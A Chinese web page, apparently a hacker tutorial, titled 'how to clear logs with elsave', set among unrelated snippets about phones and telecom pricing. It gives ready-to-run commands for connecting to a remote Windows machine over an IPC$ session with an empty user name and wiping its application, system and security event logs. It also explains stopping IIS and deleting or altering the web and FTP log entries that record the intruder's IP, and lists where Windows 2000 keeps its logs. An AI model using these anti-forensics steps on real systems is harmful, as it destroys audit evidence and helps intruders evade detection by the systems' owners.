如何用elsave清除日志
热门问答：
推荐阅读
| · k700c行机与翻新机的区分方法 |
| 摘要： 小ｋ终于良心发现，大降了３００，现在性价比非常的突出，由此也在市场上引发了一次购机狂潮．据某权威手机杂志列出的全国手机销售排行20名的名单里，ｋ７００ｃ排第１０几位，要知道在此排行中价格除了ｋ７００ｃ的平均价格是在２９９９之外，其他的都是１１００－１８００元左右的低端机，由此可见它的诱惑力可不小啊！ 呵呵，言归正传...... |
| · 北京长话将优惠三个月 比打ip电话还便宜 |
| 摘要： “刚刚召开的中国互联网大会让我们这些做教育网站的人为之一震”北京中鸿智业有限公司总经理白云涛对记者说，“中国互联网的发展方向已确定，其实我们已在这个方向走了好几年了。”白云涛的意思是，他和他的公司从此搭上了顺风车，不再是逆水行舟了。 中国互联网大会提出，在经历了“挤水分”式调整的严酷洗礼之后，中国互联网公司应该切实把网络产业与传统产业有机结合起来，通过推出新形态的网络广告、实施信息内容及网络服务收费、提供手机短信服务和开...... |
正文
经过一段安全技术的学习，在学习中使用比较多的工具。今天，我把自己一些使用的经验总结一些，把一些比较常用的黑客工具的使用方法写出来，希望给大家一些帮助！
1.小榕的elsave清除日志的使用:
先用ipc$管道进行连接:net use \\ip\ipc$ "password" /user:""
清除目标系统的应用程序日志:
elsave -s \\ip -l "application" -c
清除目标系统的系统日志:
elsave -s \\ip -l "system"" -c
清除目标系统的安全日志:
elsave -s \\ip -l "security" -c
2.windows2000日志的清除:
www的日志一般都在%winsystem%\system32\logfiles\w3svc1下面，包括www日志和ftp日志，一般先停止www服务后在删除:net stop w3svc，然后将你留下了ip的日志删除，你也可以修改日志.wwww日志在w3svc1下面，ftp日志在msftpsvc下面，每个日志都是以:exxxxxxx.log为命名的，xxxxxx代表日期.
win2000中的其他一些日志:
安全日志:%winsystem%\system32\config\secevent.evt
应用程序日志:%winsystem%\system32\config\appevent.evt
系统日志:%winsystem%\system32\config\sysevent.evt
iis的ftp日志:%winsystem%\system32\logfiles\msftpsvc1\，默认每天一个日志
iis的www日志:%winsystem%\system32\logfiles\w3svc1\ 默认每天一个日志
scheduler服务日志:%winsystem%\schedlgu.txt
讨论区